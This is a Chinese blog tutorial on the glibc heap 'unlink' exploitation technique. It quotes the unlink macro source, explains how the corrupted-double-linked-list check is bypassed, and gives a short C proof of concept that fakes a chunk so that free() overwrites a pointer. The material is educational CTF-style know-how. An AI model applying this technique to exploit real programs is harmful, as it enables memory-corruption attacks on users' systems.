unlink 发生条件、过程演示 、如何利用

发生条件:

unlink是利用glibc malloc 的内存回收机制造成攻击的,核心就在于当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。

unlink 源码:

#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))			      \
             - offsetof (struct malloc_chunk, fd))

/* analog of ++bin */
#define next_bin(b)  ((mbinptr) ((char *) (b) + (sizeof (mchunkptr) << 1)))

/* Reminders about list directionality within bins */
#define first(b)     ((b)->fd)
#define last(b)      ((b)->bk)

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)&& __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
          if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
            malloc_printerr (check_action,				      \
                "corrupted double-linked list (not small)",    \
                P, AV);					      \
                if (FD->fd_nextsize == NULL) {				      \
                    if (P->fd_nextsize == P)				      \
                      FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                    else {							      \
                        FD->fd_nextsize = P->fd_nextsize;			      \
                        FD->bk_nextsize = P->bk_nextsize;			      \
                        P->fd_nextsize->bk_nextsize = FD;			      \
                        P->bk_nextsize->fd_nextsize = FD;			      \
                      }							      \
                  } else {							      \
                    P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                    P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
                  }								      \
          }								      \
      }									      \
}

演示

绕过机制:
unlink 对 FD 和 BK 进行检验

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

为了绕过检查 , 我们使 FD->bk == p , BK->fd == P ,
其中字段修改的含义在
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure-zh/#_3
有介绍。

测试代码:

#include <stdio.h>
#include <stdlib.h>

int main(void){
void * p1 , * p2;
p1 = malloc(0x80);
p2 = malloc(0x80);

//fake chunk
//size
*(long long *)((long long)p1+0x8) = 0x81;
//fd
*(long long *)((long long)p1+0x10) = (long long)&p1 - 0x18;
//bk
*(long long *)((long long)p1+0x18) = (long long)&p1 - 0x10;

// next chunk's prev_size 
*(long long *)((long long)p2-0x10) = 0x80;

//set p = 0;
*(long long *)((long long)p2-0x8) = 0x90;

free(p2);
return 0;
}

在这里插入图片描述
未修改堆区源码:
在这里插入图片描述
修改以后堆区:
在这里插入图片描述
free 时 执行unlink ,就修改了 p1 指向的地址。
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值